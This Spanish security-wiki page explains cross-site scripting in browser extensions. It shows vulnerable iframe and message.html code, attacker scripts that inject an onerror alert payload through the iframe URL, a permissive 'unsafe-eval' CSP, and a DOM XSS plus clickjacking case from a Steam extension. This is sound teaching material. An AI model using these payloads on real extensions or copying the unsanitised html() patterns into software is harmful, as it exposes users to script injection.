# BrowExt - Ejemplo de XSS

{{#include ../../banners/hacktricks-training.md}}

## Cross-Site Scripting (XSS) a través de Iframe

En esta configuración, se implementa un **script de contenido** para instanciar un Iframe, incorporando una URL con parámetros de consulta como la fuente del Iframe:
```javascript
chrome.storage.local.get("message", (result) => {
let constructedURL =
chrome.runtime.getURL("message.html") +
"?content=" +
encodeURIComponent(result.message) +
"&redirect=https://example.net/details"
frame.src = constructedURL
})
```
Una página HTML accesible públicamente, **`message.html`**, está diseñada para agregar dinámicamente contenido al cuerpo del documento según los parámetros en la URL:
```javascript
$(document).ready(() => {
let urlParams = new URLSearchParams(window.location.search)
let userContent = urlParams.get("content")
$(document.body).html(
`${userContent} <button id='detailBtn'>Details</button>`
)
$("#detailBtn").on("click", () => {
let destinationURL = urlParams.get("redirect")
chrome.tabs.create({ url: destinationURL })
})
})
```
Un script malicioso se ejecuta en la página de un adversario, modificando el parámetro `content` de la fuente del Iframe para introducir una **carga útil XSS**. Esto se logra actualizando la fuente del Iframe para incluir un script dañino:
```javascript
setTimeout(() => {
let targetFrame = document.querySelector("iframe").src
let baseURL = targetFrame.split("?")[0]
let xssPayload = "<img src='invalid' onerror='alert(\"XSS\")'>"
let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`

document.querySelector("iframe").src = maliciousURL
}, 1000)
```
Una Política de Seguridad de Contenido demasiado permisiva como:
```json
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"
```
permite la ejecución de JavaScript, haciendo que el sistema sea vulnerable a ataques XSS.

Un enfoque alternativo para provocar el XSS implica crear un elemento Iframe y establecer su fuente para incluir el script dañino como el parámetro `content`:
```javascript
let newFrame = document.createElement("iframe")
newFrame.src =
"chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
encodeURIComponent("<img src='x' onerror='alert(\"XSS\")'>")
document.body.append(newFrame)
```
## XSS basado en DOM + ClickJacking

Este ejemplo fue tomado de la [publicación original](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/).

El problema principal surge de una vulnerabilidad de Cross-site Scripting (XSS) basada en DOM ubicada en **`/html/bookmarks.html`**. El JavaScript problemático, parte de **`bookmarks.js`**, se detalla a continuación:
```javascript
$("#btAdd").on("click", function () {
var bookmarkName = $("#txtName").val()
if (
$(".custom-button .label").filter(function () {
return $(this).text() === bookmarkName
}).length
)
return false

var bookmarkItem = $('<div class="custom-button">')
bookmarkItem.html('<span class="label">' + bookmarkName + "</span>")
bookmarkItem.append('<button class="remove-btn" title="delete">x</button>')
bookmarkItem.attr("data-title", bookmarkName)
bookmarkItem.data("timestamp", new Date().getTime())
$("section.bookmark-container .existing-items").append(bookmarkItem)
persistData()
})
```
Este fragmento obtiene el **valor** del campo de entrada **`txtName`** y utiliza **concatenación de cadenas para generar HTML**, que luego se agrega al DOM utilizando la función `.append()` de jQuery.

Normalmente, la Política de Seguridad de Contenidos (CSP) de la extensión de Chrome evitaría tales vulnerabilidades. Sin embargo, debido a la **relajación de CSP con ‘unsafe-eval’** y el uso de los métodos de manipulación del DOM de jQuery (que emplean [`globalEval()`](https://api.jquery.com/jquery.globaleval/) para pasar scripts a [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) al insertar en el DOM), la explotación sigue siendo posible.

Si bien esta vulnerabilidad es significativa, su explotación generalmente depende de la interacción del usuario: visitar la página, ingresar una carga útil de XSS y activar el botón “Agregar”.

Para mejorar esta vulnerabilidad, se explota una vulnerabilidad secundaria de **clickjacking**. El manifiesto de la extensión de Chrome muestra una política extensa de `web_accessible_resources`:
```json
"web_accessible_resources": [
"html/bookmarks.html",
"dist/*",
"assets/*",
"font/*",
[...]
],
```
Notablemente, la **`/html/bookmarks.html`** página es susceptible a framing, por lo tanto vulnerable a **clickjacking**. Esta vulnerabilidad se aprovecha para enmarcar la página dentro del sitio de un atacante, superponiéndola con elementos DOM para rediseñar la interfaz de manera engañosa. Esta manipulación lleva a las víctimas a interactuar con la extensión subyacente de manera involuntaria.

## Referencias

- [https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/](https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/)
- [https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/)

{{#include ../../banners/hacktricks-training.md}}